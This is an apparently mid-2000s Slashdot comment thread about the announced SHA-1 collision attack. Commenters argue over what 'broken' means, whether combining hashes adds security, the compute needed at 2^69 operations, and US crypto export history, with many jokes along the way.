Time to compute SHA1 hashes until you find a match
+ Time to compute MD5 hashes based on SHA1 matches until you find a match
= A whole lot

Either way, it's a lot more difficult brute force plaintext that will match hashes for both MD5 and SHA1 than for either alone, but the additional CPU time on the system for legitimate use is negligible.

Re:Not a problem (yet)

[GoRK]

No the problem is the same magnitude. In this attack, the desire is not to find the source text that creates the hash but to find an alternate data set that results in the same SHA1 hash so that, for instance, you can sign data with what appears to be someone else's key even though you don't know the key pre-hashing... you just know another one that hashes to the same value.

Re:Not a problem (yet)

[Anonymous Coward]

nitpik on the nitpik:

You don't need the original, you only need some password that works. If I have something with the same hash it work as if it were the original password... regardless of whether or not it is the original.

Re:Not a problem (yet)

[pclminion]

I believe there is a cryptographic result that if you combine two hashes into a "superhash" you do NOT increase the difficulty as much as you might naively think. I don't know enough to even give a reference, perhaps somebody can help?

It's very easy in this field to think you've found a good idea, then somebody really smart comes and shows it isn't as good as you thought...

Re:Not a problem (yet)

[pclminion]

I have a question.

In the space of 160-bit strings, are there collisions? That is, is SHA-1 a bijection from 160-bit space onto 160-bit space? I also have the same question about MD5 :-)

Re:Not a problem (yet)

[Spy Hunter]

Yes I know. That's why I mentioned it. The attack doesn't allow that.

Re:Not a problem (yet)

[c0p0n]

Usually, speaking about normal Linux distros (dunno about solaris), the installation CDs are signed, as well as the packages themselves (the package manager usually checks the signature when you try to install'em).

I find highly improbable to fake a whole installation CD this way... and you can always double-hash the thing using SHA and MD5, for example. You could possibly fake SHA-1 alone, maybe MD5, but both at the same time... Anyways, I am not a crypto-guy, so I'm probably wrong after all :)

Re:Not a problem (yet)

[KeithIrwin]

Move to AES-hash.

Re:Not a problem (yet)

[Anonymous Coward]

Yes, there are, in both, due to the use of the majority function. Actually producing these collisions is, however, left as an exercise to the reader, as the Chinese technique cannot produce pads that short.

Re:Not a problem (yet)

[Anonymous Coward]

Actually, SHA-0 had some attacks, but it was notable that that extra rotate helped to prevent against the Chinese attack (so it is more than likely that the NSA became aware of the possibility of that class of attacks when SHA-0 was revised to SHA-1).

However, this further optimisation of the technique came completely out of left field, and has squeezed SHA-0 to a trivial 2^33 and brought SHA-1 within possibility (if rather expensive possibility). Problems with the hash length left 2^80 within reach, maybe as it was left at about 2^72 by rumour, but no one expected something this good. NIST (and NSA advice) already recommended to use the SHA-224, SHA-256, SHA-384 or SHA-512 algorithms for new cryptographic applications...

The big problem is, it's not yet known if the SHA-2 (256/384/512) algorithms or even the Whirlpool-512 hash are resistant to this attack either. It may require an entirely new class of hash algorithms; suddenly that European summit to find candidates for a possible future European hash standard has taken on a new urgency.

MD5, MD4 and TIGER192 already fell, and my information suggests so did RIPEMD (I do not know if it was RIPEMD-160, but I recall the original RIPEMD being broken before, so I conjecture yes).

That doesn't leave many hash algorithms at all... *shrug* GOST? What'a HAVAL like? Maybe they're just too obscure for these guys to have tried yet.

I'm writing a crypto application at the moment, and frankly I have no clue what to use now. I was using SHA-256, and given these results, will probably shrug and keep using it. It can always be swapped out, I suppose, because if a new hash is required, it is going to take a while to design; hash design is hard.

Re:Not a problem (yet)

[Anonymous Coward]

YAWN. Yet another whiny nitpick.

No, it is compression. It is lossy compression, but it is definitely compression. Get a dictionary.

Re:Not a problem (yet)

[alan_dershowitz]

You are right about "superhashing", but it doesn't do this, it keeps a separate hash for three different hashing routines for the file. It would be pretty difficult to find a collision that works for all three separate cryptographic hashes. for the same offending file.

Re:Not a problem (yet)

[Shanep]

nitpick: You can't get the original back out. Data is lost in the hash function - it's not compression. You can determine a set of possibilities for the original, but never what the actual original was.

I should have been more verbose. I'm well aware that there will be many collisions. I should have added that finding the original is extraordinarily difficult and knowing you have found the original (as opposed to an equivalent) is impossible.

Re:Not a problem (yet)

[foxtrot]

And even more importantly, can you make:

SHA1(data1) == SHA2(data2) where data1!=data2

where data2 == something that does the evil nasty thing you want it to do?

It's a hash. By definition, two things may reduce to the same hash; that's not "breaking" a hash. The trick is making something do your evil bidding while still hashing to the right value.

-JDF

Re:Not a problem (yet)

[Anonymous Coward]

Tiger is not broken. Haval, however, fell (I don't know if it was the three, four, or five round version that fell). Whirlpool also looks promising, but is younger than Tiger.

Re:Not a problem (yet)

[m50d]

Assuming you know one algorithm is more secure than the other, you're better off just using a double-length version of the more secure algorithm (SHA-256 in this case I think). MD5 and SHA-1 are related in that they have a common ancestor some way back, so having the two hashes does not fully square the difficulty of cracking it. Wheras doubling the length of the SHA hash ought to. However, if the two algorithms are unrelated and both believed to be reasonably secure (prior to this story I would have used RIPEMD and SHA as examples) then that is worth doing.

Re:Not a problem (yet)

[tod_miller]

What an insightful reply, except you shoudl plus a !() around how you read my response, because I was saying that thier 'hack' was not an aspect of insecurity, and then you just repeatd what it was I was saying. Reread and you will see.

Half pisses me off, but since you said it in a nice enough way, half insightful.

Re:Not a problem (yet)

[thelittlestbuddy]

If anyone's still listening... Concatenating the outputs of two functions is not as secure as one might think. In a paper presented in 2004 at the CRYPTO conference (the same one where the MD5 and SHA0 hash collisions were announced), (http://springerlink.metapress.com/openurl.asp?gen re=article&issn=0302-9743&volume=3152&spage=306) Antoine Joux shows that, assuming the attack on SHA1 is valid, that a collision could be found in the concatenation of two SHA1 hashes (with differing IVs) in time around 69 * 2^69. This generalizes - if n SHA1 hashes are concatenated, then it would take roughly (69)^{n-1}*2^{69} work to find a collision.

Re:Not a problem (yet)

[mrogers]

I don't think the idea is to achieve a security level of 128 + 160 bits; the idea is to achieve a security level of at least 128 bits that won't be lost if either algorithm is completely broken.

Re:Broken or not?

[mek2600]

Fucking Google It

How long have they known?

[tpengster]

I think that alot of us are wondering right now.. how long has the Chinese government known about this? (and how long as the NSA known)

Re:How long have they known?

[Anonymous Coward]

It was likely broken at NSA as part of its initiation.

i beg to differ....

[kidoman]

i dont understand when people say that a hash algorithm has been broken.... suppose u hash a data object worth 4 MB to obtain a 160 bit hash, then does have cracked the algo means u can "get" back the original data. ofcourse not!!! otherwise you have just achieved super compression.

Re:i beg to differ....

[ComaVN]

You don't have to get back the original data. You just have to get back something that produces the same hash.

Clarification

[BobSutan]

You're all reading into it and assuming it wouldn't be encrypted with a public key a la PKE/PKI.

Remember, its just a simplified explanation of how one can use a hash (with data Integrity as an example).

Re:Clarification

[Ctrl-Z]

Well, I'm sorry, but if you're encrypting it, what exactly is the purpose of including the hash? If it's encrypted, then it can't be tampered with anyway (assuming that your algorithm-of-choice hasn't been broken yet).

Re:Clarification

[CajunArson]

If it's encrypted, then it can't be tampered with anyway (assuming that your algorithm-of-choice hasn't been broken yet).
It is perfectly possible to deterministically alter an encrypted message. Another thing to remember is that in any PKI system, everyone knows your encryption key so unless there are signed hashes in the encrypted mail (and above & beyond that ALL of the relevant data are properly authenticated), Alice could easily fake a message from Bob that would be completely encrypted in your key.

Re:Clarification

[Ctrl-Z]

It is perfectly possible to deterministically alter an encrypted message.

Sure, but how does including the hash prevent that from working? That is why you would use a digital signature system as I said in my other message. A hash by itself is worthless for verifying the sender of the message. As I said, a hash is typically part of a digital signature system, but by itself it does nothing to verify the identity of the sender, or indeed that the message hasn't been altered.

Re:Clarification

[ignorant_newbie]

Another thing to remember is that in any PKI system, everyone knows your encryption key

um... no. everyone knows your decryption key.

Re:Clarification

[Anonymous Coward]

um... no. everyone knows your decryption key.

You should stop eating those flakes near the wall.

Re:Broken or not?

[Southpaw018]

I love how you link that like you're mister high and mighty and you don't spell his name in the link right. I didn't either, but I have ethos. I'd never heard of him before. =)

Re:And they scoffed at my continued reliance on MD

[mlyle]

2^69 hashes would constitute a 'huge search' in my book. I guess it doesn't in yours; or you didn't RTFA :)

All You Need To Know:

[Anonymous Coward]

Bruce Schneier is the motherfucking man.

Re:And they scoffed at my continued reliance on MD

[Ctrl-Z]

Uh, it still requires 269 operations. But I can't seem to find out how that compares to MD5 breakage.

Brought to you also by....

[Dark Coder]

The MD5 crack team....

http://www.md5crk.com/ (wayback archive)

Isn't generally available yet?

[tiny69]

From the Fine Article:

The paper isn't generally available yet.

So when is paper going to be generally available?

Re:Isn't generally available yet?

[Anonymous Coward]

The proof would not fit in the margin of the book.

Time to dust off your XBox

[kernel_dan]

"The copy prevention system of Microsoft's Xbox game console relies on the security of SHA-1." -- The all knowing Wikipedia

Maybe now we can crack some XBox stuff and run homebrew code on a homeburned dvd (dual-layer, of course.) Please correct me if I don't understand something. I thought M$ used RSA or something to encrypt their games and used SHA-1 signatures as checkpoints?

Re:Time to dust off your XBox

[Tony Hoyle]

Sure, you only have to generate 2**69 combinations now..

From TFA:


Regarding how long it should take to break... Let's assume that a single CPU can tackle 2**32 ops/sec. (About 4 billion, so assuming each op is one cycle, about 4 GHz... Gross oversimplification, but it makes the math pretty easy.) So, how long would it take to do 2**69 ops?

2**37 seconds of CPU time. About 4000 years.

So, if you have a 4000 node cluster, it ought to take about a year, which would be well within the statute of limitations, for most crimes and jurisdictions... :)

Brute forcing, using the same hypothetical cluster, would have taken over 2000 years. So, I guess today's lesson is that it isn't completely broken, but it certainly ain't secure.

Re:Time to dust off your XBox

[kernel_dan]

Aren't there several thousand people dedicated enough to run a distributed computing application that breaks it?

Re:Time to dust off your XBox

[YCrCb]

Can we use a distributed cluster of XBoxes to crack it?

Re:Time to dust off your XBox

[Anonymous Coward]

hahah. that would be great. using M$'s product against them.

does anyone actually use either md5 or sha-1...

[ltwally]

Does anyone actually use md5 or sha-1 for anything worth protecting?

Seriously... I don't even use them for hashing my passwords any more. Now it's BFS (blowfish) and AES.

About all I trust md5's and sha-1 for are CRC type checks.

Just my two cents... maybe I'm just snobby about my hashes ;)

Re:does anyone actually use either md5 or sha-1...

[Lord Crc]

Seriously... I don't even use them for hashing my passwords any more. Now it's BFS (blowfish) and AES.

And how do you use AES for hashing?

Re:does anyone actually use either md5 or sha-1...

[harlows_monkeys]

And how do you use AES for hashing?

google://Davies-Meyer

Re:does anyone actually use either md5 or sha-1...

[Anonymous Coward]

Yes, but then I've scared the black helicopters away with a gaint fly squater.

Not true.

[Ayanami Rei]

Clinton signed a bill that ceased the definition of cryptographic algorithms as munitions. Now there is no strength requirements, checking by the NSA, nothing. Like since 96.

Where've you been?

Re:Not true.

[magefile]

I'd be interested to see a citation if you have one.

Re:Not true.

[myowntrueself]

"Where've you been?"

I've been Humorous.

Besides you obviously believe anything they tell you; I couldn't say anything on here that would undo the fantastic mind-wipe job they did on you can I?

Re:Not true.

[aichpvee]

I have been under a rock. It was really heavy so it took extra time to get out from under it. I've been mostly out from under it since 2002, but I dropped it on my foot as I tried to crawl out and it has taken me that long to saw off my foot with threads pulled from my clothing.

Re:Not true.

[magefile]

Replying to self, I know, but I found a copy of a November 1996 executive order in Clinton's Presidential Library site that contradicts the GP. http://www.clintonfoundation.org/legacy/111596-exe cutive-order-13026-on-crypto-export-controls.htm

Re:Not true.

[numark]

The 1996 order is obsolete. Under pressure from various fronts, including Congressmen, the Clinton Administration later pushed through, in 2000, an extremely permissive encryption policy that essentially made any consumer-oriented encryption software freely available to anyone who doesn't live in a country that the US has sanctions against. The amount of regulations regarding encryption products was also substantially decreased, which has made possible freely-available strong encryption, where before even browsers had US and international versions with weaker encryption for the latter.

(Less than perfect) source: http://www.cdt.org/crypto/admin/ (Also read Steven Levy's book, "Crypto", for a good overview of the history of these regulations and Clinton's relaxing of the rules)

Re:And they scoffed at my continued reliance on MD

[Ctrl-Z]

That's supposed to be 2^69. Now, 269 -- that would be a story!

Quick Measures?

[sameb]

I have barely any cryptography knowledge, but would the SHA series be any safer if the size of the data was part of the signature? From glancing over Bruce's post (and remembering how MD5 and others were broken), data has to be padded. You can't just change arbitrary bits and produce the same signature. So, couldn't you just add the size of the file to the signature? Does that decrease security, because the size is now known?

Re:Quick Measures?

[starfishsystems]

So, couldn't you just add the size of the file to the signature?

Think about it like this. You'd have to add it in such a way that the signature length remains constant.

Any bits you reserve for data length are thus taken away from bits available to hash the data. You lose considerably more uniqueness that way than you stand to gain.

Re:Quick Measures?

[sameb]

The data length need not use any of the existing bits. It could be sent separately, and tools matching signatures would also match the size.

That said, I do understand that you could use the same storage where the size is stored in order to store more signature bits, raising uniqueness. But consider the size as a measure intended for future-proofing, in case the algorithm is broken.

Re:Quick Measures?

[whitis]

I have barely any cryptography knowledge, but would the SHA series be any safer if the size of the data was part of the signature? From glancing over Bruce's post (and remembering how MD5 and others were broken), data has to be padded. You can't just change arbitrary bits and produce the same signature. So, couldn't you just add the size of the file to the signature? Does that decrease security, because the size is now known?

It would greatly add to the security in theory except that it wouldn't really work well in practice. I am not an expert on cryto algorithms but the limitations of this approach can be seen even without knowing anything about the actual has algorithm.

The trick with forging messages is that you need to add some amount of garbage to the forged message to make it match the hash of the original (there are other ways in theory that are likely to be less practical). This is why the length inforormation would appear to help. Then you have to disguise the purpose of the garbage so it doesn't draw attention to itself. Perhaps as another fake signature or an uncompressed image. Steganography would give you the requisite number of bits while still letting you include an image (of a hand written signature, a document page, or a company logo)that wasn't obviously junk but the bits would not be consequtive which makes it harder). Instead of hiding them in low order bit steganography, you could replace a number of consequtive pixels; the result would be visable but would be mistaken for a smudge. By including the length in the signature, you make it much harder to make a message that says what you want it to say and still matches the hash.

However, the problem with your suggestion is protecting the new size information. If you include the size in the message before hashing, then you simply search for a hash that matches the forged message with modified size which could be about the same amount of work as forging in the first place for a brute force attack though it may well add additional constraints that might prevent taking particular shortcuts vs. a brute force attack in which case it would help. It would really depend on whether the hash crack is bothered by this constraint. If the crack algorithm knows in advance how many extra bits will be generated then running the length through the hash doesn't help at all. If you just add some message size bits to the end of the hash, then the information is unprotected and can be changed to match the message. So, you probably would want to sign the length separately. But if you are going to do that, you could use a hash with twice as many bits in the first place or hash the same message twice with two different initial values for the hash (cracking the first hash may or may not provide a shortcut to cracking the second). Both of these approaches would probably be much more secure than adding the length. Even more secure would be to hash the message with two different hash algorithms.

There are also ways of returning to the original message length even when adding garbage. Suppose I want to change a contract to say you will pay me $100,000 instead of $10,000. To make room for the extra hash fooling bits, I can delete an entire paragraph from the contract that is of no importance to me (or even makes it more favorable to me by its absence). Longer hashes or double hashes would effectively prevent this but length information would not.

Re:Quick Measures?

[Lehk228]

by changing a paragraph of the contract you now need to find a new pad to match hash's, and if that pad is different from the last one you have to start over.

Re:Quick Measures?

[starfishsystems]

Okay, so what was the point of the hash? It was supposed to already be a sufficient basis for uniquely identifying the data.

If it is sufficient, then adding additional metadata is not useful. If it isn't sufficient, then you really need a cryptographically comparable substitute, or all you will have achieved is a false sense of security combined with additional complexity and greatly reduced portability. So simple metadata is not useful, you have to apply and compare multiple algorithms. I'll come back to this later.

I guess it really comes down to whether or not you buy into a cryptosystem approach to security in the first place. It's certainly not the only architectural approach. But considering that security is highly sensitive to both simplicity and modularity, anything that advances these principles will tend to yield a more secure design, as well as a more reliable one. The choice to use a cryptosystem is usually made because it promises to do so better than other approaches.

Simple, modular systems are easier to reason about, therefore have greater potential of being designed and verified correctly. The whole motivation for developing something like a hash function is driven by conservative design. The hash is supposed to have known cryptographic properties, consume known computational resources, and interoperate in known ways with other subsystems.

So from an architectural perspective, it makes very limited sense to think about externally enhancing a cryptosystem used for any general purpose. Either it's inherently good enough as it stands, or it has inherent problems which need to be fixed within the cryptosystem. Given limited resources, and in view of basic design principles, it makes sense to put the development and verification effort into a common system. Then everyone benefits.

To return to the more general question of whether a system could use multiple algorithms to provide a form of fault tolerance, yes, that could be useful in a cryptosystem context, as it is in other critical applications. Bear in mind that it comes at a high computational price, and with more structural complexity. If our scenario is that we don't fully trust any single algorithm, then it makes sense to have them watch each other. Usually we do trust the algorithm, in which case any additional cycles and bits might as well go directly into making it stronger.

SHA-2 would be good, but...

[Anonymous Coward]

So even if the SHA-1 family is flawed for the reason given in the article, all is not lost since they just reduced the work by a couple of orders of magnitude. If you go to 256 bit or 512 bit hashes, you're definitively going to be safe for much, much longer (since even if the given attack works twice as good for 512 bits, you would need many more centuries to try out the same percentage of the keyspace).

However, the real problem is that todays OpenSSL and libgcrypt (gnupg) libraries don't even have support for SHA-2 (I just tried to find it). So it will actually take quite a while before this can be adopted. And that's the real problem.

Re:SHA-2 would be good, but...

[m50d]

MDx and SHA-0 and 1 are broken in quick succession by the same team. To my mind this indicates we should move away from that whole family. I'm switching to ripemd.

If you've ever deprecated MD5, please take note!

[aphor]

I just want to say "What's UP?" All of this NONSENSE that popped up a while ago about MD5 being "harmful some day" is really PALE in comparison to "SHA-1 has a theoretical attack" let alone "SHA-1 has been broken." I want to give proper acknowledgement for all of the people who try really hard to stay in the ACTUAL world.

No Such Agency of America

[tepples]

It sounds like it may be possible for someone with a few weeks use of a supercomputer and the will to spend the corresponding thousands of dollars on computing power may be able to generate a file with a SHA-1 collision of the file you're downloading

How hard will it be for the MPAA to sweet-talk the National Security Agency into believing that copyright enforcement is a national security issue and letting the studios use the NSA's crypto cluster?

Re:No Such Agency of America

[brsmith4]

Pretty fucking hard. The NSA doesn't lend out CPU time on classified supercomputers to anyone but a select few government organizations. As much as I think the congress and various others are in cahoots with the RI/MPAA, the NSA would probably not stand for such a thing.

Re:No Such Agency of America

[Anonymous Coward]

Recently there was an article "NSA to Become Government Net 'Traffic Cop'". You don't have to buy NSA. Once you buy government everything else is "free".

Re:Unfortunately the SHA series seems to be suspec

[tidewaterblues]

Is anyone really surprised by this? In the long run I don't think there is a hash algorithm (or crypto algorithm for that mater) in existence that will not be broken, either by increased computational complexity or some mathematical flaw.

The thing I use these hash algorithms for the most is generating unique ID's without having to think about it too much. I don't believe I am alone either; I don't do a lot of cryptography. Still, I'd like to have a better understanding of the properties of each algorithm, and the class of activities it is good for. A chart along these lines would be neat: "algorithms good for file verification", "algorithms good for password hashing", " algorithms good for higher security needs".

If we start to think of hash algorithms in terms of functional classes, it will be easier to develop drop-in replacements for each of them (something we will need as algorithms keep getting bumped off of the "acceptable" list).

Just do as federal agencies ave started doing...

[Ray Alloc]

Check this article: Federal agencies have been put on notice that National Institute of Standards and Technology officials plan to phase out a widely used cryptographic hash function known as SHA-1 in favor of larger and stronger hash functions such as SHA-256 and SHA-512.

Re:And they scoffed at my continued reliance on MD

[Anonymous Coward]

Your sig is a wild unsourced lie.

not SHA?

[fiid]

Shouldn't it be renamed IHA (insecure hashing algorithm) or maybe NQSSNIIHA (not quite so secure now, is it? hashing algorithm.)

Re:Broken or not?

[mek2600]

I reazlized it was wrong (I checked to make sure the link worked before posting it), but I wanted to show you that a simple search would have gotten you the correct spelling and the info you wanted. When I tell people to "fucking google it" I make the search something logical that they could ahve done themselves. That was the search that you would have (could have) done.

And I dont do it to be high and mighty, but semi-comical and informative at the same time. Don't take that link the wrong way, it's just a way to give the person the info while making a bit of a point at the same time.

Re:And they scoffed at my continued reliance on MD

[mlyle]

BTW:

Disabled US vets 10 yrs after Viet Nam: 10%
12 yrs after Gulf War: 89%
Stop uranium inhalation poisoning!

What exactly is your source on this? According to an anti-military news source quoting the DoVA:

Of the 504,047 eligible for VA benefits, 149,094 (29%) are now considered disabled by the VA eleven years since the start of the Gulf War; and...

29% is a big number, but 29% != 89% last time I checked. Also, there are many other explanations other than uranium dust, like chemical weapons in theatre. But I don't think facts probably matter very much to you.

Some background

[ZakMcCracken]

Applications that would be broken by this are long-lived cryptographic signatures. Indeed, when a document is "signed", usually only a hash of the document is signed. Finding collisions means one can find two different documents with the same signature.

This affects all applications using SHA-1 for signature, that is signed email (whether PKIX or PGP), server certificates (which are signed documents). This should be mitigated by the fact that in order to be really usable in some cases, the collision must also be meaningful. That is if you find a collision to a signed email but if it is meaningless, you won't really be able to use it to spoof an email. It depends on the attack quality whether collisions are "meaningful" or not.

Some applications that should not be broken are the use of SHA-1 for key derivation, i.e. where one uses SHA-1 essentially as the basis of a random function to generate deterministic new keys from a pre-shared key. (I think that's what Schneier meant by HMAC applications.)

Also, some short-lived signatures should still not be realistically breakable in the time that they would need to be for an attack to be successful; short-lived signatures are typically used in protocols such as IPsec or SSL for authentication. Additionally, to mount an attack on some of these protocols an attacker would need to generate a collision involving "unpredictable" data coming from another party, which the attack may or may not allow.

Someone set us up the bomb

[Sophrosyne]

... it looks to me the only solution is wipe Jinan city off the map.
Now where did I leave my nukes....

Re:Someone set us up the bomb

[808140]

What surprises me is that they're from Shandong. Who'd have thought that Shandong would have good cryptoanalysts? I thought all Shandong people were good at was drinking and speaking excessively bad Mandarin.

Re:Someone set us up the bomb

[mikiN]

Better beware, for soon they will be selling you SHA-1 Crack Chips instead of SHArk Fin Soup.

why break it if its not in use?

[Anonymous Coward]

huuuh?

-1 Redundant?

[Eunuch]

I haven't a response as generic in awhile. I guess thinking about things hurts.

Re:Broken or not?

[ID10T5]

How can we be sure that Bruce made the post? How can we be sure his original post wasn't modified?

We need some sort of digital signature...

D'OH!

Available in OpenBSD ;-)

[Anonymous Coward]

Which of course is available for that ever so wonderfully secure os called OpenBSD ;-)

use rot13

[Anonymous Coward]

Q: Which hash function do we use now?
A: rot13. Not only is it easy to implement, it can be mathematically proven to be collision-free.

Re:use rot13

[Anonymous Coward]

Use rot26 -- twice as secure!

Er:Jryy...

[Lshmael]

V guvax lbh zrnag, "Gunax Tbq EBG-13 jvyy arire or penpxrq."

pigeonhole?

[TerraFrost]

i'm a little confussed - how can there not be a collision when there are 256^(as big as your hard drive can hold) possible inputs and only 2^160 (or 2^64?) possible outputs? by the pigeonhole principal, there'd have to be atleast one collision since, at 21+ bytes, there are more possible inputs than there are outputs.

Re:pigeonhole?

[Anonymous Coward]

The idea is not to prevent collisions. The idea is to ensure collisions cannot be realistically found. This is why we call them "asymmetric functions" as opposed to, I don't know, something else. The goal of a hash function designer is to provide a reasonable guarantee that the cost of calculating a collision or hash reversal is so much greater than the cost of calculating the hash that the calculator of the hash may assume no one will ever reverse it.

Re:pigeonhole?

[Andy Dodd]

I think the point here is not that collisions exist, but that there is now a way to generate a collision reliably with fewer operations.

But as said earlier - not only must a collision be generated, that collision must be meaningful. A good example was that while it might become easy to generate "collision" data for a gzipped tar file's hash, it would still be extremely difficult to generate a collision that had the following properties:
Understood by gzip without errors
Understood by tar after gunzipping
Had meaningful files after being untarred

Re:pigeonhole?

[Anonymous Coward]

> there'd have to be atleast one collision

Knowing it's there and finding it are two very different things.

Re:pigeonhole?

[Vo0k]

There's a difference between 2^64 and 2^160.
Everything is theoretically crackable given enough time. But anything that would need more computational power that couldn't be achieved with computational power of computers of total mass greater than Earth, within the universe lifetime is considered totally uncrackable, and everything that takes a month of work of a decent cluster is considered cracked. That's directly corresponding to the above difference.

Prank phone call

[MST3K]

Prankster: Is your SHA-1 broken?
Techie: Yes.
Prankster: You better fix it, then.

So where's the data?

[phreakuencies]

Why is more important the announcement than the actual data? Why make such a fuzz about it when they don't have any proofs? They should hold the announcement until they can provide people the two blocks of data that share the SHA1 sum.

Actually you're right in a way...

[ergo98]

Federal agencies were recently told to start switching to SHA-256 or SHA-512. Here's an article detailing this that just came out a week ago.

However the term "broken" is a pretty questionable term - the paper apparently details a method of breaking SHA-1 using brute force in only 2^69 operations, versus the theoretical strength of 2^80. It's a hell of lot fewer operations, but it's still pretty high on the strength scale.

Clue: Parent is joking

[MarkusQ]

Maybe his sense of humour fell through a one-way hash function some time back, but it's pretty clear from context that he's kidding.

--MarkusQ

Re:Clue: Parent is joking

[afidel]

Yes, it was an attempt at geek humor, I guess the mod's didn't realize that this was the same group that broke MD5 a few months ago. I definitly wasn't trying to get flamed, oh well guess the joke was too obtuse.

SHA-1 is broken? Arggggh!

[Peter Cooper]

Now I know why my site doesn't work anymore. SHA-1 is broken. Digest::SHA1 won't produce any hashes for me anymore, and I tried to debug the issue but couldn't work out what was going on. Thanks for letting us know SHA-1 is broken Slashdot. I wonder when it will be fixed?

I'm still content with SHA-1 and DES

[lawaetf1]

Realistically, if I gave any of you people a .txt file encrypted with DES and said that if you can crack it in 3 months I'll give you $15k.. would you be able to? I rather doubt it. 2^69 is still a plenty big number for me. I'll worry in a few years when CPUs are faster

It never fails to crack me up how people freak out about theoretical weaknesses in cryptography but have $25 locks on their homes that any crook with a fork and a nail could open.... and steal your computer if not axe you to bits.
but, but.. SHA-2 will save me!!

Re:I'm still content with SHA-1 and DES

[Anonymous Coward]

Realistically, I know a guy in San Jose who will do that for $2500. So I'll take you up on the offer and make a tidy profit.

Realistically most non-security people don't have the foggiest notion.

Ring, Ring. Ring, ring.

Boy Wonder: Batman! What's that sound?
Batman: Oh, that's just the red cluephone over there.
Boy Wonder: Well, don't you think we should pick it up??
Batman: Don't bother. Alfred will get around to it eventually.

Re:I'm still content with SHA-1 and DES

[Anonymous Coward]

building a DES cracker was possible in 1998 if you had $250K and the know how ( http://www.eff.org/Privacy/Crypto/Crypto_misc/DESC racker/).

There is technology public available now (FPGAs ) that makes it possible to crack DES today (in way less than 3 months computing time) if you spend the $15K on hardware...

Better colours

[Anonymous Coward]

http://shit.slashdot.org/article.pl?sid=05/02/16/0 146218

Time to change my encryption scheme!

[turdblossom]

Damn, I'll have to convert to ROT-15 minus 2 now, just to throw 'em off the scent.

Dual Hash

[JoshRoss]

You can allways use two hashes. Hash the stream once with SHA1-384 then Hash it with MD5. The chances of a double collision are nill.

Basically what it says...

[Ayanami Rei]

is that it's considered a munition if it's designed for military use. An expert review panel is supposed to make that decision. And this is only if the Secretary of Commerce or the DOJ say something.

Which they haven't... so... don't worry about. :-)

and the order it revises is MUCH more restrictive

[Ayanami Rei]

which was much more restrictive and is why stuff like netscape and IE only had 48-bit encryption for awhile. But that was mid-90s. That distinction went away when the version 4s came out, remember?

Is it that bad?

[Anonymous Coward]

The article says that 2**69 hash operations are needed to find a collision. If you have a SuperHashOMatic that can do 1 Billion hashing operations per second, thats still an average time of about 18700 years.

In order for the time to be something to be concerned about (~10 years), you would need a machine capable of doing 1.87e12 hashing operations per second. Thats 1.87 TRILLION hashing operations per second.

Ah, but what about distributed computing?

Let's assume that there are 1 billion desktop computers working on this project. Then they must be able to do 1870 hashing operations per second. This is a ridiculously large number for today's implementations (mine gets 100 per second, most could do about twice that).

So is it bad? Somewhat. Further breaks could make it worse.

We should move away from SHA-1. But this isn't not the end of the world.

Re:Is it that bad?

[Anonymous Coward]

Shit, just retested, got 150,000 SHA-1's per second.

1 Billion computers now comes out to 22 days.

But, 1 million computers is still 60 years.

The ten-year mark comes out to 6 million computers.

(BYW, these tests were done on a 256 byte file, bigger files would take longer.)

Still not that bad.

Re:Is it that bad?

[Anonymous Coward]

Somebody coding for Shareaza wrote an X86 assembly version that's significantly faster than the C++ version they were using, too...

What is security, after all...

[Anonymous Coward]

I think security is only a matter of how long, or better, how much energy, the attacker has to take to break the system.

As far as I know, if I hash a password with MD5 or SHA-1 (or both, why not compare both hashes), I really must have major critical data if these methods are not "secure" enough for it...

As already mentioned, this only big issue is for digital signatures, but I could even say: if you can find a colision by generating two valid documents (can open in a reader - PDF for example), you deserve and I could even accept the fact you cracked the signature.

* Hey, it tooks me only nine years to crack the signature you applied to the email you sent me doesn't make sense for me.

Pfffft... I use blowfish.

[Ayanami Rei]

... but now it hurts when I pee.

Ha!

[Mitchell Mebane]

I just tried it and got "dsfhlsagfd". I guess this means it's pretty secure!

Cryptographic break =/= practical break

[Great_Geek]

Note that what cryptographers consider a "break" is not necessarily the same as what users consider a break. (Neither is more strict, they are just different criteria for different people).

In this case, the researchers from Shandong University (supposedly) reduced the work required to find a collision from 2**80 to 2**69; this is a major cryptographic result. It is major because SHA-1, as a "cryptographically strong hash", is not supposed to have any attacks better then random. A factor of 2**11 reduction shows SHA-1 to be very far from ideal; and since lots of clever people have tried to show this, the research team should be proud.

Does this mean the bad-guy-of-your-choice can now start forging digital contracts? Not yet - there is no guarantee that the collision will be meaningful (as least their earlier papers didn't show that result). For a forgery to be useful, the forger needs to make the fake message say something useful - may be change the $1 to $1 million, or change the name, or something. A collision at a random place (or a non-sensical string) is essentially useless as a forgery (there may be some interested DOS attacks, but I am talking about outright forgery which is the point of the hash functions).

And lastly, 2**69 (roughly 10**21) is still a big number! Assume that some clever people wrote a super-duper hand-optimized code that does a whole SHA-1 in a micro-second on a late model 4 Ghz PC, that is 10**6 hashes/sec. A grad-student using all the PC's on a campus, say ten thousand, that's another 10**4. This would take 10**11 seconds (or roughly 20K years). Note that for SHA-0, their break is 2**39 operations, which *is* practical - it would take the grad student only a minute, or a single PC a week.

This break is yet *practical* for *most* people. (Would I still use SHA-1? Not in new application, and I make sure that existing applications get changed over eventually.)

Lest I be accused of ignoring the big boys, the equation changes for them. If a Three Letter Agency is willing to invest a lot of money and design some cool chips that has awsome parallelism and everything, then each break may take only a week. For example, assume these chips has a bunch of pipes that can do a hash every nano-second (or 10**9 hash/second). Further, say there are 100 of these pipes per chip, 100 chips per board, 100 board per rack (or 10**6 pipes/rack). Each rack can then do 10**15 hash/sec, With such a magical rack, it would take 10**6 seconds (or just under two weeks) to find a collision. This would cost Some Real Dollars, but is it within the budget of some three letter agency? You bet. Hack, I would be willing to sell you one for under a billion dollar US. On the other hand, for that kind of money, cryptanalysis takes on different textures - why spend a billion to crack SHA-1 when you can buy the right wet-ware unit for a million?

Re:Cryptographic break =/= practical break

[Deliveranc3]

Guess who wants to send meaningless data... bittorrent relies on SHA-1 which is I imagine what the moderator was most interested in.

I might be paranoid but it wouldn't be inconceivably difficult for **AA to upload single blocks of corrupted data and destroy every torrent as it streams, they certainly have the resources.

Re:Cryptographic break =/= practical break

[pbf]

And then of course you could just combine a few hashes together, say MD5 and SHA1 and why not CRC32 for good measure. Seriously even if you can individually generate 2 messages that will have the same hash with any of the above algorithms what are the chances that the same 2 messages will work with all three of them at the same time ?

I am not a cryptographer, but it seems to me that such a scheme would be good enough in reducing the practicality of an attack on any ONE of the hash method.

Can somebody with more knowledge tell me ?

Re:Cryptographic break =/= practical break

[devonbowen]

